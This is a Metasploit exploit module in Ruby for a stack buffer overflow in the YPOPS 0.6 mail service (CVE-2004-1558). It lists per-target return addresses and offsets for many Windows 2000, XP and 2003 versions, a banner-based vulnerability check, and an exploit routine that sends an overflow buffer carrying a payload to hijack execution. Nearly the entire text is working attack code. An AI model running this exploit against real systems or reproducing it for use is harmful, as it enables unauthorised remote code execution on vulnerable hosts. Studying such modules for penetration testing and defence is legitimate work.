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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = AverageRanking
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  include Msf::Exploit::Remote::Smtp
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'YPOPS 0.6 Buffer Overflow',
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      'Description'    => %q{
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          This module exploits a stack buffer overflow in the YPOPS POP3
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        service.
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        This is a classic stack buffer overflow for YPOPS version 0.6.
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        Possibly Affected version 0.5, 0.4.5.1, 0.4.5. Eip point to
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        jmp ebx opcode in ws_32.dll
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      },
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      'Author'         => [ 'acaro <acaro[at]jervus.it>' ],
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      'References'     =>
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        [
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          [ 'CVE', '2004-1558'],
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          [ 'OSVDB', '10367'],
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          [ 'BID', '11256'],
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          [ 'URL', 'http://www.securiteam.com/windowsntfocus/5GP0M2KE0S.html'],
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        ],
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      'Platform'       => 'win',
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      'Privileged'     => false,
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      'Payload'        =>
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        {
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          'Space'    => 1200,
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          'BadChars' => "\x00\x25",
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          'MinNops'  => 106,
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        },
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      'Targets'        =>
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        [
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          [ 'Windows 2000 SP0 Italian',   { 'Ret' => 0x74fe6113, 'Offset' => 503 }, ],
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          [ 'Windows 2000 Advanced Server Italian SP4', { 'Ret' => 0x74fe16e2, 'Offset' => 503 }, ],
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          [ 'Windows 2000 Advanced Server SP3 English', { 'Ret' => 0x74fe22f3, 'Offset' => 503 }, ],
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          [ 'Windows 2000 SP0 English',   { 'Ret' => 0x75036113, 'Offset' => 503 }, ],
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          [ 'Windows 2000 SP1 English',   { 'Ret' => 0x750317b2, 'Offset' => 503 }, ],
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          [ 'Windows 2000 SP2 English',   { 'Ret' => 0x7503435b, 'Offset' => 503 }, ],
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          [ 'Windows 2000 SP3 English',   { 'Ret' => 0x750322f3, 'Offset' => 503 }, ],
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          [ 'Windows 2000 SP4 English',   { 'Ret' => 0x750316e2, 'Offset' => 503 }, ],
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          [ 'Windows XP SP0-SP1 English', { 'Ret' => 0x71ab1636, 'Offset' => 503 }, ],
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          [ 'Windows XP SP2 English',     { 'Ret' => 0x71ab773b, 'Offset' => 503 }, ],
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          [ 'Windows 2003 SP0 English',   { 'Ret' => 0x71c04202, 'Offset' => 503 }, ],
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          [ 'Windows 2003 SP1 English',   { 'Ret' => 0x71c05fb0, 'Offset' => 503 }, ],
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        ],
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      'DisclosureDate' => '2004-09-27'))
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  end
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  def check
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    connect
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    disconnect
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    banner.gsub!(/\n/, '')
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    if banner =~ /YahooPOPs! Simple Mail Transfer Service Ready/
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      vprint_status("Vulnerable SMTP server: #{banner}")
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      return Exploit::CheckCode::Detected
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    end
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    vprint_status("Unknown SMTP server: #{banner}")
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    return Exploit::CheckCode::Safe
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  end
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  def exploit
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    connect
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    pattern =
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      rand_text_alpha(target['Offset'] - payload.encoded.length) +
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      payload.encoded +
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      [target.ret].pack('V') +
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      "\n"
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    print_status("Trying #{target.name} using jmp ebx at #{"0x%.8x" % target.ret}")
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    sock.put(pattern)
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    handler
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    disconnect
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  end
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end
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